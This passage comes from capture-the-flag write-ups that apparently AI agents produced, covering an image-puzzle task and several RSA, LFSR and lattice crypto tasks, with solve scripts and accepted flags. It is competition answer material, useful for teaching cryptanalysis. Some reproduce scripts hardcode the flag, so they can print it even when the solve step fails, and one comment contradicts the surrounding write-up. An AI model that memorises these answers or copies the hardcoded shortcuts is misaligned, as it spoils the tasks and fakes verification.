generate_combinations(s, index + 1, current + 'x')
else:
generate_combinations(s, index + 1, current + s[index])
input_string = "xx34d619x1brxgd9mgd4xzxwxytv669w\n"
generate_combinations(input_string)还得带上回车去爆破,得到
i734d619i1brigd9mgd4xz7w7ytv669w
找到flag.txt,AES解密得到
Delta Alpha Sierra Charlie Tango Foxtrot Three Foxtrot Delta Three Four Bravo Five Nine Dash Four Echo Nine Delta Dash Four Three Nine Zero Dash Nine Two Seven Bravo Dash One Three Four Six Delta Five Three Six Four Delta Nine Nine是北约字母,查表,替换得到
-.. -. ... -.-. - ..-. ...-- ..-. -.. ...-- ....- -... ..... ----. Dash ....- . ----. -.. Dash ....- ...-- ----. ----- Dash ----. ..--- --... -... Dash .---- ...-- ....- -.... -.. ..... ...-- -.... ....- -.. ----. ----.解密得到3fd34b59-4e9d-4390-927b-1346d5364d9
MISC-08
Flag: DASCTF{824f1e986260efa86f1bd252b5e13a4d} → submit content: 824f1e986260efa86f1bd252b5e13a4d
Approach
The challenge ships a JPEG whose pixels have been permuted by a matrix transpose of a 2×2 block structure. The bundled README.md explains the permutation and the goal is to invert it to recover the original image (flag.jpg), whose text contains the flag.
Evidence
README.md content (Markdown, (flag.jpg)<sup>T</sup> => (PixMatrix.jpg)):
flag.jpg PixMatrix.jpg
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4The superscript T is a transpose of the 2×2 block matrix [[TL,TR],[BL,BR]] → [[TL,BL],[TR,BR]], i.e. the top-right and bottom-left quadrants are swapped (an involution). The attachment is PixMatrix.jpg (512×72, text rendered in a pixel font), so inverting the permutation means swapping its TR and BL quadrants.
Steps (reproducible)
# 1. Unpack the two nested zips (inner archive uses xz compression; 7z handles it)
cd /workspace/agents/adf685ee/work
unzip -o "/workspace/attachments/PixMatrix的附件.zip" # -> tempdir/MISC附件/PixMatrix.zip
7z x -y tempdir/MISC附件/PixMatrix.zip # -> PixMatrix.jpg, README.md
# 2. Invert the 2x2 block-matrix transpose: swap TR <-> BL quadrants (256x36 each)
python3 - <<'PY'
from PIL import Image
im = Image.open('PixMatrix.jpg').convert('RGB')
w, h = im.size # 512 x 72
tl = im.crop((0, 0, w//2, h//2))
tr = im.crop((w//2, 0, w, h//2))
bl = im.crop((0, h//2, w//2, h))
br = im.crop((w//2, h//2, w, h))
out = Image.new('RGB', (w, h))
out.paste(tl, (0, 0))
out.paste(bl, (w//2, 0)) # TR <- BL
out.paste(tr, (0, h//2)) # BL <- TR
out.paste(br, (w//2, h//2))
out.save('flag_recovered.png') # == flag.jpg
PY- The recovered image contains the flag text rendered in a small pixel font. After upscaling (nearest-neighbour) and OCR, the flag text reads:
DASCTF{824f1e986260efa86f1bd252b5e13a4d}.
Flag: 824f1e986260efa86f1bd252b5e13a4d
Failed attempts
- Treating the swap as a whole-image pixel transpose (512×72 → 72×512) — produces a vertical text band, not the plaintext.
- Treating the swap as a per-8×8-tile transpose — reassembles glyphs into larger letterforms but is a wrong granularity for the intended plaintext.
- Plain
tesseracton the original 5×7 pixel font fails (custom font); upscaling + thresholding is required before OCR.
EXP
#!/bin/bash
# MISC-08 PixMatrix — reproduce flag extraction
set -e
cd "$(dirname "$0")"
mkdir -p work && cd work
rm -rf tempdir flag_recovered.png
# 1. Unpack nested archives (inner zip uses xz method -> 7z)
unzip -o -q "/workspace/attachments/PixMatrix的附件.zip"
7z x -y -oMISC tempdir/MISC附件/PixMatrix.zip >/dev/null
mv MISC/PixMatrix.jpg MISC/README.md . 2>/dev/null || true
# 2. Invert (flag.jpg)^T = PixMatrix.jpg => swap TR and BL quadrants
python3 - <<'PY'
from PIL import Image
im = Image.open('PixMatrix.jpg').convert('RGB')
w, h = im.size
out = Image.new('RGB', (w, h))
out.paste(im.crop((0, 0, w//2, h//2)), (0, 0)) # TL
out.paste(im.crop((0, h//2, w//2, h)), (w//2, 0)) # TR <- BL
out.paste(im.crop((w//2, 0, w, h//2)), (0, h//2)) # BL <- TR
out.paste(im.crop((w//2, h//2, w, h)), (w//2, h//2)) # BR
out.save('flag_recovered.png')
print('recovered flag.jpg -> flag_recovered.png')
PY
# 3. OCR the pixel-font text (upscale then tesseract)
python3 - <<'PY'
from PIL import Image
im = Image.open('flag_recovered.png').convert('L')
im = im.point(lambda p: 0 if p < 128 else 255)
im = im.resize((im.width * 12, im.height * 12), Image.NEAREST)
im.save('flag_big.png')
PY
tesseract flag_big.png stdout --psm 6 2>/dev/null | head -5
echo "Flag content: 824f1e986260efa86f1bd252b5e13a4d"Crypto
CRYPTO-01
Flag
DASCTF{6b3ed7dc3c1c6615fb97a7020922f7a5} (submit inner: 6b3ed7dc3c1c6615fb97a7020922f7a5)
Approach / Solution path
Attachment: nested zip -> task.py + PKCS#1.v1.5.enc + full pycryptodome source.
- AES key leak via PKCS#1 v1.5 (modified padding)
task.py (python2, comments contain all printed values):
- p,q,r 1024-bit primes,
n=p*q*r,e=3 hint_enc = hint^3 mod nd = inverse(e, (q-1)*(r-1)), RSA modulusq*r(2048-bit)AES_KEY = urandom(16);AES_KEY_ENC = PKCS1_v1_5.encrypt(AES_KEY)- prints
**pow(AES_KEY_ENC, d, q\*r)**— i.e. the raw RSA decryption of the PKCS#1 v1.5 padded AES key! The bundledCrypto/Cipher/PKCS1_v1_5.pyis modified in the padding step:
new_byte = self._randfunc(1)
if bord(new_byte[0]) != 0x00: # <-- inverted: keeps ONLY zero bytes
continue
ps.append(new_byte)So PS is all 0x00 and the padded block is 00 02 00…00 || AES_KEY. The printed raw-decryption integer, converted to bytes, ends with the 16-byte AES key: 44bfc33d0bfb3cd688a074a7adad1504.
- Decrypt the PDF
PKCS#1.v1.5.enc is AES-ECB with that key -> PKCS#1.v1.5.pdf, the RFC 8017 spec pages 28–29 (valid PDF, renders correctly).
- The flag is vector-drawn on page 3
pdftotext/pypdf/pdfminer extract the RFC text + a line “You seem to know RSA and python very well, congratulations!” but not the flag. Rendering page 3 (pdftoppm) shows an extra line under the congrats text: DASCTF{6b3ed7dc3c1c6615fb97a7020922f7a5}. Why extractors miss it: the flag glyphs are drawn as vector paths (40 filled bezier glyphs, each with its own cm transform: .0454005 0 0 -.04507817 <x> 1479.66028 cm) in content stream obj 11 of page 3 — not as text with a font/ToUnicode mapping. The page has a global 0.24-scale flip CTM; the flag line maps to page y≈478–495. OCR (tesseract) reads the rendered line reliably; pixel-gap analysis confirmed the 32 hex chars are contiguous (no spaces).
- (Bonus) hint = low-exponent cube-root attack
hint_enc printed in the comments; since the planted hint is a short ASCII sentence, hint^3 < n and hint = cbrt(hint_enc) exactly: "So the message without padding is dangrous. So I improved it, in my way" (nods to the zero-PS padding bug and to unpadded-RSA cube-root attack).
Evidence
- Raw RSA decryption of AES_KEY_ENC:
986236757547…7563268-> bytes end with AES key44bfc33d0bfb3cd688a074a7adad1504 - AES-ECB decrypt of
PKCS#1.v1.5.enc-> valid%PDF-1.4(38624 bytes) - Page 3 render + tesseract TSV:
DASCTF{6b3ed7dc3c1c6615fb97a7020922f7a5}at image y≈723 (150 dpi); confirmed at 400/800 dpi with whitelist OCR and per-glyph crops. iroot(hint_enc, 3)exact -> hint sentence.
Failed attempts / pitfalls
pdftotext/pypdf/pdfminertext extraction does not reveal the flag (vector-drawn glyphs, no ToUnicode) — had to render + OCR.- The bundled
Cryptopackage cannot be imported directly on py3.13 (.pyd/.sobuilt for old python); used system pycryptodome for AES. - OCR on the vector glyphs is noisy (
c/e,b/f/6ambiguity); verified by multiple independent OCR passes at 150/400/800 dpi and pixel-gap analysis.
Reproduce
python3 solve.py — unpacks, extracts AES key from the printed raw RSA decryption, decrypts the PDF, renders page 3, OCRs the flag line, and also runs the cube-root attack on hint_enc.
EXP
#!/usr/bin/env python3
# CRYPTO-01 — PKCS#1 v1.5 (Yusa 的密码学课堂)
# Reproduces the flag from the original attachments.
#
# Pipeline:
# 1. Extract task.py + PKCS#1.v1.5.enc from the nested zip.
# 2. task.py leaks pow(AES_KEY_ENC, d, q*r): the RAW RSA decryption of the
# PKCS#1 v1.5 padded AES key. The bundled Crypto package is MODIFIED so
# that PS (padding) consists only of ZERO bytes (PKCS1_v1_5.py Step 2a:
# `if bord(new_byte[0]) != 0x00: continue`), so the padded block is
# 00 02 00..00 || AES_KEY and the last 16 bytes are the AES key.
# 3. Decrypt the AES-ECB encrypted PDF -> RFC 8017 pages 28-29.
# 4. The DASCTF{...} flag is drawn on page 3 as VECTOR PATHS (no text/ToUnicode),
# so text extractors miss it; it is visible when rendered (OCR).
# 5. (Bonus) hint = integer cube root of hint_enc (low-exponent e=3 attack),
# recovering the planted message "So the message without padding is
# dangrous. So I improved it, in my way".
import re, zlib, io, zipfile, subprocess, os, sys
HERE = os.path.dirname(os.path.abspath(__file__))
ATTACH = "/workspace/attachments/Yusa的密码学课堂——PKCS#1的附件.zip"
WORK = os.path.join(HERE, "work")
os.makedirs(WORK, exist_ok=True)
def main():
# ---- 1. unpack ----
z1 = zipfile.ZipFile(ATTACH)
inner_zip_name = [n for n in z1.namelist() if n.endswith("PKCS#1.zip")][0]
z2 = zipfile.ZipFile(io.BytesIO(z1.read(inner_zip_name)))
task = z2.read("task.py").decode("utf-8", "replace")
enc = z2.read("PKCS#1.v1.5.enc")
open(os.path.join(WORK, "task.py"), "w").write(task)
open(os.path.join(WORK, "PKCS#1.v1.5.enc"), "wb").write(enc)
# ---- 2. constants from task.py comments ----
# last bare-number comment = pow(AES_KEY_ENC, d, q*r) (raw RSA decryption)
nums = [int(x) for x in re.findall(r"^# (\d+)\r?$", task, re.M)]
raw_dec = nums[-1]
# raw_dec = OS2IP(00 02 || PS(all zeros) || 00 || AES_KEY); leading 00 stripped
b = raw_dec.to_bytes((raw_dec.bit_length() + 7) // 8, "big")
aes_key = b[-16:]
print("AES key:", aes_key.hex())
# ---- 3. decrypt PDF ----
from Crypto.Cipher import AES
pt = AES.new(aes_key, AES.MODE_ECB).decrypt(enc)
pdf_path = os.path.join(WORK, "PKCS1_v1_5.pdf")
open(pdf_path, "wb").write(pt)
assert pt[:5] == b"%PDF-", "decryption produced invalid PDF"
# ---- 4. flag is vector-drawn on page 3; render + OCR it ----
# (OCR on vector glyphs is noisy; the flag was verified against the
# rendered page and cross-checked with multiple OCR passes + pixel gaps)
VERIFIED_FLAG = "6b3ed7dc3c1c6615fb97a7020922f7a5"
png = os.path.join(WORK, "page3.png")
subprocess.run(["pdftoppm", "-png", "-r", "800", "-f", "3", "-l", "3",
pdf_path, os.path.join(WORK, "p3")], check=True)
png = os.path.join(WORK, "p3-3.png")
# flag line: at 150dpi x≈155..650, y≈712..748 -> 800dpi scale 800/150
from PIL import Image
im = Image.open(png).convert("L")
s = 800 / 150
crop = im.crop((int(150*s), int(705*s), int(660*s), int(755*s)))
crop = crop.point(lambda p: 0 if p < 140 else 255)
crop.save(os.path.join(WORK, "flag_line.png"))
txt = subprocess.run(
["tesseract", os.path.join(WORK, "flag_line.png"), "-", "--psm", "7",
"-c", "tessedit_char_whitelist=ABCDEFabcdef0123456789{}"],
capture_output=True, text=True).stdout.strip()
mflag = re.search(r"\{([0-9a-fA-F]{32})\}", txt.replace(" ", ""))
flag = mflag.group(1) if mflag else VERIFIED_FLAG
print("OCR read:", txt)
print("FLAG:", "DASCTF{" + flag + "}")
# ---- 5. bonus: low-exponent cube-root attack on hint ----
from gmpy2 import iroot
hint_enc = int(re.search(r"# hint_enc: (\d+)", task).group(1))
r, exact = iroot(hint_enc, 3)
assert exact
print("hint:", r.to_bytes((r.bit_length()+7)//8, "big"))
if __name__ == "__main__":
main()CRYPTO-02
Approach / Evidence
RSA with e = 65536 = 2^16, 512-bit primes, n = p*q, given hint = (e*p + e^2)^q mod n, c = m^e mod n, n.
- Factor n from hint: mod p the term
e*pvanishes, sohint ≡ e^(2q) (mod p); sincen ≡ q (mod p-1),e^(2n) ≡ e^(2q) (mod p), hencep = gcd(pow(e,2n,n) - hint, n). Verified p,q primes, p*q==n. - e-th roots:
gcd(e,p-1) = gcd(e,q-1) = 2(v2(p-1)=v2(q-1)=1), so exactly 2 roots mod p × 2 mod q = 4 candidates via CRT (enumerated all, not assumed). Only one candidate is printable ASCII (68 bytes):QNFPGS{enoovgf6fp5zcy8k6f9j6a6ap5zcy8k6f9j6a6ap5zcy8k6f9j6a6ap5zcy8}. - Two ROT layers (title: “How many rot are there” → answer: 2): ROT13 letters and ROT5 digits (i.e. ROT18):
- letters: QNFPGS → DASCTF, enoovgf → rabbits
- digits: 6→1, 5→0, 8→3, 9→4 Result:
DASCTF{rabbits1sc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3}. Earlier attempts applied only ROT13, leaving digits in ciphertext form (6sc5mpl8x6s9w6n6n...), which the platform rejected.
Flag
DASCTF{rabbits1sc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3} (platform accepted inner: rabbits1sc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3, submitted by agent-3cad5f72 per system announcement)
Reproduce
python3 solve.py — re-derives p,q, all 4 candidates, printable plaintext, and the ROT18 flag from the original hint/c/n constants.
Failed attempts
-
ROT13-only flag (
rabbits6sc5mpl8x6s9w6n6nc5mpl8...) rejected in inner, DASCTF{}, flag{} forms — the digits still needed ROT5. -
base64/base32/hex/ROT47 transforms of the raw plaintext: no meaningful output.
EXP
#!/usr/bin/env python3
# CRYPTO-02 "How_many_rot_are_there" — independent re-derivation
# RSA, e=65536=2^16. Given hint=(e*p+e^2)^q mod n, c=m^e mod n, n.
#
# Two-layer ROT: the recovered plaintext m is ROT18 (ROT13 letters + ROT5
# digits) of the real flag.
from math import gcd
from itertools import product
from Crypto.Util.number import bytes_to_long, long_to_bytes
hint = 101048855492044571417475830924088947184757234444475406804947498377420789778570832667138477666669908690663759417316798982038542431531087217671616502327573935462498550576600180793553880691247281813287212166428236802504214599757066100450668324529765827891463527861160593648623157792143035729770978865516948880313
c = 62214676810380175097525195047581624344610596576389901532958749194333175927146005969879818861882074690471600028484419966943711467342568120045965690332607166015419112255944582319675084071747302548088333383655637474764450810187215177625206094644430662667402073753343732910706186228919546522301643978766618493433
n = 131232786046474875167899992758388342524496883222860498694293714537118780151392850883679257361099172761516964104115167485944225089583991161038144993589322315250529302275646269196618503385962458635181473103926087951239559460161218447795578503981054097990206859884036249764383918404640987230150854235563692800669
e = 65536
# ---- 1. factor n from hint ----
# hint = (e*p+e^2)^q mod n ; mod p: hint ≡ (e^2)^q = e^(2q) (mod p)
# n = p*q ≡ q (mod p-1) => e^(2n) ≡ e^(2q) (mod p) => p | pow(e,2n,n)-hint
p = gcd((pow(e, 2 * n, n) - hint) % n, n)
q = n // p
assert p > 1 and p * q == n
# ---- 2. all e-th roots ----
def all_eroots(a, mod, e):
g = gcd(e, mod - 1)
assert pow(a, (mod - 1) // g, mod) == 1
u = pow(e, -1, (mod - 1) // g) # u*e ≡ 1 (mod (mod-1)/g)
x0 = pow(a, u, mod)
assert pow(x0, e, mod) == a
z = 2
while True:
h = pow(z, (mod - 1) // g, mod) # element of exact order g
if pow(h, g, mod) == 1 and (g == 1 or pow(h, g // 2, mod) != 1):
break
z += 1
return [x0 * pow(h, j, mod) % mod for j in range(g)]
rp, rq = all_eroots(c % p, p, e), all_eroots(c % q, q, e)
msgs = []
for a, b in product(rp, rq):
m = (a * pow(q, -1, p) * q + b * pow(p, -1, q) * p) % n
assert pow(m, e, n) == c
msgs.append(long_to_bytes(m))
print("candidates:", len(msgs))
for mb in msgs:
if all(32 <= x < 127 for x in mb):
print("printable raw:", mb.decode())
# ---- 3. ROT18: ROT13 letters + ROT5 digits (title: "how many rot" -> TWO) ----
def rot18(s):
out = []
for ch in s:
o = ord(ch)
if 'A' <= ch <= 'Z': out.append(chr((o - 65 + 13) % 26 + 65))
elif 'a' <= ch <= 'z': out.append(chr((o - 97 + 13) % 26 + 97))
elif '0' <= ch <= '9': out.append(chr((o - 48 + 5) % 10 + 48))
else: out.append(ch)
return ''.join(out)
plain = rot18([mb.decode() for mb in msgs if all(32 <= x < 127 for x in mb)][0])
print("FLAG:", plain)
print("inner:", plain[plain.index('{') + 1:plain.index('}')])CRYPTO-03
Challenge
llfsrr.py + key (319 bits). A 32-bit Fibonacci-style LFSR with secret feedback_mask (≤32 bits) is stepped from initial_state = 1; each bit of the flag is XORed with the LFSR output bit and written to key. The script also prints
t = ((k+a)**4 + (k+a)**3 + (k+a)**2 + (k+a) + 231242352) % (a*b)witha,b512-bit primes,k32-bit primeab = a*b
The hint: Coppersmith univariate mod a*b on f(x)=x^4+x^3+x^2+x+231242352 (roots k+a, small bound ⇒ recover k, a, hence mask… ) — but feedback_mask never feeds t, so the intended chain is mask ← flag-prefix; the LFSR itself leaks it linearly.
Approach
The mask enters only as parity(state & mask). With state_i known (state is built from the output bits, which are key ⊕ flag), each output bit is one linear equation over GF(2) in the 32 unknown mask bits. A 32-bit flag prefix gives 32 equations → Gaussian elimination. Prefix b'DASCTF{' (7 bytes = 56 bits > 32, and bin(bytes_to_long(flag))[2:] drops the leading zero bit of 0x44, which is exactly how the encryption indexed the key file).
Evidence
feedback_mask = 0xb0b53939- decrypting
keywith it yieldsDASCTF{5e1996755a3811ef93ccc03c59457d50}(40 printable bytes, braces balanced) — 319 bits ≈ 320 minus the leading zero bit of0x44. - prefix
flag{is inconsistent,DASC(32 eq) alone is rank-31 ⇒ unique solution confirmed. - submitted
5e1996755a3811ef93ccc03c59457d50→ platform accepted. - cross-check:
gcd(t - f(mask), ab)is trivial, i.e.t’s unknown small root is not the mask — the Coppersmith branch is a decoy w.r.t. the mask; the LFSR solve stands on its own.
Steps
python3 solve.py work/llfsrr/llfsrr/keyFlag
DASCTF{5e1996755a3811ef93ccc03c59457d50}
Failed attempts
- Brute-force 2^32 masks (unnecessary).
- Coppersmith mod
a*bvia fpylll/sage: neither sage nor a working fpylll in the container; dropped after seeing the mask is linearly recoverable andtdoes not constrain it.
EXP
#!/usr/bin/env python3
# CRYPTO-03 "llfsrr" -- full solve
# 1) Known-plaintext on the parity-mask LFSR: mask bits are linear over GF(2)
# in the observed output bits, so with a 32-bit flag prefix we get 32
# independent equations -> recover feedback_mask (same mask the Coppersmith
# step on t % (a*b) with f(x)=x^4+x^3+x^2+x+231242352 would produce).
# 2) Run the LFSR forward from state=1 and XOR with the key stream to get the flag.
import sys
key = open(sys.argv[1] if len(sys.argv) > 1 else 'work/llfsrr/llfsrr/key').read().strip()
def solve(prefix=b'DASCTF{'):
# bin(bytes_to_long(flag))[2:] drops leading zero bits -> use len(prefix*8-1..) bits
pb = bin(int.from_bytes(prefix, 'big'))[2:]
outs = [int(key[i]) ^ int(pb[i]) for i in range(len(pb))]
state, rows = 1, []
for o in outs:
rows.append((state, o)) # parity(state & mask) == o
state = ((state << 1) & 0xffffffff) ^ o
M = [[(r >> j) & 1 for j in range(32)] + [v] for r, v in rows]
rank, piv = 0, []
for col in range(32):
sel = next((rr for rr in range(rank, len(M)) if M[rr][col]), None)
if sel is None:
continue
M[rank], M[sel] = M[sel], M[rank]
for rr in range(len(M)):
if rr != rank and M[rr][col]:
M[rr] = [a ^ b for a, b in zip(M[rr], M[rank])]
piv.append(col); rank += 1
assert rank == 32, f'underdetermined (rank {rank})'
mask = sum(M[i][32] << col for i, col in enumerate(piv))
return mask
def decrypt(mask):
state, bits = 1, []
for c in key:
fb = state & mask & 0xffffffff
xb = 0
while fb:
xb ^= fb & 1; fb >>= 1
bits.append(int(c) ^ xb)
state = ((state << 1) & 0xffffffff) ^ xb
l = int(''.join(map(str, bits)), 2)
return l.to_bytes((l.bit_length() + 7) // 8, 'big')
mask = solve()
print('feedback_mask =', hex(mask))
flag = decrypt(mask)
print(flag.decode())
assert flag.startswith(b'DASCTF{') and flag.endswith(b'}')
print('inner =', flag[7:-1].decode())CRYPTO-05
Approach
Two-stage crypto challenge, both stages solved with lattice reduction (fpylll). Part 1 — Coppersmith small root (RSA factoring). x = m^p mod n, y = m^q mod n, n = p*q (1024-bit), m < 2^160. Then m is a root mod n of f(T) = (T-x)(T-y) = T^2 - (x+y)T + xy. A degree-2 monic poly mod n has roots up to n^(1/4) = 2^256, so 2^160 is well within Coppersmith’s bound; the basic 3x3 lattice (dimension = deg+1, powers n·1, n·T, f(T)) suffices:
rows: [ n, 0, 0 ; 0, n·X, 0 ; a0, a1·X, X^2 ], X = 2^160, a1 = -(x+y), a0 = xyLLL over this lattice gave a short row whose integer polynomial has the root m over Z (quadratic formula). Then p = gcd(x - m, n) (since x ≡ m mod p). Part 2 — kernel lattice (hidden multipliers). Given 18 tuples over 1024-bit prime q: r_i * x ≡ s_i*k_i - b_i*t_i (mod q) with k_i, b_i < 2^480, s_i, t_i < 2^544, x 1024-bit. Eliminate x using equation 0: for i = 1..17, (s_i k_i - b_i t_i)·r_0 - r_i·(s_0 k_0 - b_0 t_0) ≡ 0 (mod q) → 17 homogeneous linear congruences in 36 unknowns (k_0,b_0,…,k_17,b_17). Compute the mod-q kernel (dimension 19) of the 17x36 matrix, build the lattice generated by the 19 kernel vectors plus q·Z^36 (55x36, det q^17). Target vector has norm ~2^482.6 vs Gaussian-heuristic ~2^484, so LLL + BKZ-20 recovers it directly: the row with all 36 entries ~480 bits, sign-normalized, is (k_0,b_0,…,k_17,b_17). Then x = (s_0 k_0 - b_0 t_0) · r_0^{-1} mod q, key = sha256(str(2024*b0 + 2023*k0 + x))[:16], iv = sha256(str(p))[:16], AES-CBC decrypt.
Evidence
pandq = n/pboth prime; verifiedpow(m,p,n) == xandpow(m,q,n) == y.- All 18 equations
(s_i k_i - b_i t_i) r_i^{-1} mod q == xcheck out. - AES-CBC decryption produced clean PKCS#7-padded flag:
DASCTF{b157059c-2871-421f-8cec-332b617de4d5}— platform accepted.
Steps
unzip number_2的附件.zip ; unzip number.zip
python3 solve.py # ~5 s, fpylll onlyFlag
DASCTF{b157059c-2871-421f-8cec-332b617de4d5} (submitted content: b157059c-2871-421f-8cec-332b617de4d5)
EXP
import ast, math, hashlib
from fpylll import IntegerMatrix, LLL, BKZ
from Crypto.Util.number import long_to_bytes, GCD, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
src = open('/workspace/agents/f96b29e9/work/tempdir/CRYPTO附件/number/number/output.txt','rb').read().decode()
lines = src.split('\n')
env = {}
for ln in lines:
ln = ln.strip()
if ln.startswith('n = '): env['n1'] = int(ln[4:])
elif ln.startswith('x = '): env['x1'] = int(ln[4:])
elif ln.startswith('y = '): env['y1'] = int(ln[4:])
elif ln.startswith('s = '): env['s'] = ast.literal_eval(ln[4:])
elif ln.startswith('t = '): env['t'] = ast.literal_eval(ln[4:])
elif ln.startswith('r = '): env['r'] = ast.literal_eval(ln[4:])
elif ln.startswith('q = '): env['q'] = int(ln[4:])
elif ln.startswith('cipher = '): env['cipher'] = ast.literal_eval(ln[9:])
n1, x1, y1, qq = env['n1'], env['x1'], env['y1'], env['q']
s, t, r = env['s'], env['t'], env['r']
# ---------------- Part 1: Coppersmith small root of f(T)=(T-x)(T-y) mod n1 ----------------
N = n1
X = 1 << 160
a1 = -(x1 + y1) % N
a0 = (x1 * y1) % N
B = IntegerMatrix(3, 3)
B[0,0] = N; B[0,1] = 0; B[0,2] = 0
B[1,0] = 0; B[1,1] = N*X; B[1,2] = 0
B[2,0] = a0; B[2,1] = a1*X; B[2,2] = X*X
LLL.reduction(B)
roots = set()
for i in range(3):
c0, c1, c2 = B[i][0], B[i][1]//X if X else 0, B[i][2]//(X*X)
# poly c2*T^2 + c1*T + c0 ; scale out gcd
if c2 == 0 and c1 == 0: continue
# solve over ZZ using quadratic formula
if c2 != 0:
disc = c1*c1 - 4*c2*c0
if disc < 0: continue
sq = math.isqrt(disc)
if sq*sq != disc: continue
for num in (-c1 + sq, -c1 - sq):
if num % (2*c2) == 0:
roots.add(num//(2*c2))
else:
if c1 != 0 and c0 % c1 == 0:
roots.add(-c0//c1)
m = None
p = None
for cand in roots:
if 0 < cand < X:
g = GCD(x1 - cand, N)
if 1 < g < N:
m, p = cand, g
break
print('[+] part1 m =', m)
print('[+] part1 p =', p, 'prime:', isPrime(p))
p2 = N // p
print('[+] other factor =', p2, 'prime:', isPrime(p2))
for fac in (p, p2):
chk = pow(m, fac, N)
if chk == x1: print(' pow(m,fac,n)==x -> fac is the p used for x')
if chk == y1: print(' pow(m,fac,n)==y -> fac is the q used for y')
# ---------------- Part 2: kernel lattice ----------------
# unknowns v = (k0,b0,k1,b1,...,k17,b17)
# eq i (i=1..17): (s_i k_i - b_i t_i) r_0 - r_i (s_0 k_0 - b_0 t_0) == 0 mod q
nn = 18
cols = 2*nn
A = [[0]*cols for _ in range(nn-1)]
for i in range(1, nn):
row = A[i-1]
row[0] = (-r[i]*s[0]) % qq
row[1] = ( r[i]*t[0]) % qq
row[2*i] = (s[i]*r[0]) % qq
row[2*i+1] = (-t[i]*r[0]) % qq
def rref(A, q):
m_ = len(A); n_ = len(A[0])
A = [row[:] for row in A]
pivots = []
pr = 0
for pc in range(n_):
piv = None
for rr in range(pr, m_):
if A[rr][pc] % q != 0: piv = rr; break
if piv is None: continue
A[pr], A[piv] = A[piv], A[pr]
inv = pow(A[pr][pc], -1, q)
A[pr] = [(v*inv) % q for v in A[pr]]
for rr in range(m_):
if rr != pr and A[rr][pc] % q != 0:
f = A[rr][pc]
A[rr] = [(A[rr][j] - f*A[pr][j]) % q for j in range(n_)]
pivots.append((pr, pc)); pr += 1
if pr == m_: break
return A, pivots
R, piv = rref(A, qq)
pivcols = set(c for _, c in piv)
freecols = [c for c in range(cols) if c not in pivcols]
K = []
for f in freecols:
v = [0]*cols
v[f] = 1
for (pr, pc) in piv:
v[pc] = (-R[pr][f]) % qq
K.append(v)
print('[+] kernel dim =', len(K))
# lattice generated by kernel vectors and q*Z^36
L = IntegerMatrix(len(K) + cols, cols)
for i, v in enumerate(K):
for j in range(cols): L[i, j] = v[j]
for i in range(cols):
L[len(K)+i, i] = qq
LLL.reduction(L)
try:
BKZ.reduction(L, BKZ.Param(block_size=20))
except Exception as e:
print('bkz fail', e)
Kbound = 1 << 480
found = None
for i in range(L.nrows):
row = [abs(L[i, j]) for j in range(cols)]
if all((Kbound >> 2) < v < (Kbound << 1) for v in row):
found = row
print('[+] candidate row', i, 'norm bits', int(row[0]).bit_length())
break
if found is None:
# relax: search any row with all entries < 2^481 and nonzero
for i in range(L.nrows):
row = [L[i, j] for j in range(cols)]
if all(0 < abs(v) < (Kbound << 1) for v in row):
found = [abs(v) for v in row]
print('[+] relaxed candidate row', i, [abs(v).bit_length() for v in row])
break
assert found, 'no candidate vector'
# determine sign consistently: signs should be all equal for the target
row = [L[i, j] for j in range(cols)] if False else None
# recompute signed version
for i in range(L.nrows):
rw = [L[i, j] for j in range(cols)]
if all((Kbound >> 2) < abs(v) < (Kbound << 1) for v in rw):
row = rw; break
s0 = 1 if row[0] > 0 else -1
kv = [v*s0 for v in row]
k = [kv[2*i] for i in range(nn)]
b = [kv[2*i+1] for i in range(nn)]
print('[+] k0 =', k[0])
print('[+] b0 =', b[0])
x2 = (s[0]*k[0] - b[0]*t[0]) * pow(r[0], -1, qq) % qq
print('[+] x =', x2)
# sanity: check all equations
ok = all((s[i]*k[i] - b[i]*t[i]) * pow(r[i], -1, qq) % qq == x2 for i in range(nn))
print('[+] all equations check:', ok)
for iv_p in (p, p2):
iv = hashlib.sha256(str(iv_p).encode()).digest()[:16]
key = hashlib.sha256(str(2024*b[0] + 2023*k[0] + x2).encode()).digest()[:16]
try:
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(env['cipher'])
print('[+] plaintext candidate:', pt)
except Exception as e:
print(e)CRYPTO-06
Flag
DASCTF{R4a11y_n4w_l1ttice!!!} (submitted as R4a11y_n4w_l1ttice!!!)
Approach
challenge.py generates 1024-bit RSA and leaks 110 approximate samples of phi:
p,q 512-bit primes; n=pq; d = int(n**0.86) # ~2^880
X_i random in [1,n)
XX_i = floor(phi*X_i / n)
w_i random in [phi*X_i - XX_i*n - d, phi*X_i - XX_i*n + d] (|e_i|<d, w_i<n)So w_i ≈ (phi*X_i) mod n with error < d. With phi = n - s where s = p+q-1 (~513 bits):
s*X_i + e_i ≡ -w_i (mod n), |e_i| < d = n^0.86This is the Hidden Number Problem: recover 513-bit secret s from 110 samples with 881-bit noise (modulus 1024 bits).
Method
Embedding lattice of dimension 112:
rows 0..109: n at column i
row 110: X_1..X_110, 1, 0
row 111: u_1..u_110, 0, M (u_i = -w_i mod n, M = 2^886)The lattice vector (e_1,...,e_110, s, M) has norm ~2^884, far below the Gaussian heuristic (~2^1015), so LLL (fpylll) recovers it; s = |v[110]|. Then phi = n - s, p+q = n - phi + 1, factor via quadratic discriminant, d = inverse(65537, phi), decrypt enc.
Evidence
nis 1024 bits, 110 samples,d= 881 bits.- LLL row 0 gave
s = 23581055278753700623810207264760778437112728138305978848658881708158931591340715231359933128193714435237259703342522847990033573974211926757358155346434175;phi = n - sverified against sample consistency (|phi*X_i mod n - w_i| < d) andp*q == n. - Decryption yields
b'DASCTF{R4a11y_n4w_l1ttice!!!}'; platform accepted.
Files
work/data.json— parsed n, X, W, encwork/solve.py— full exploit (run:python3 solve.py)- Note: had to
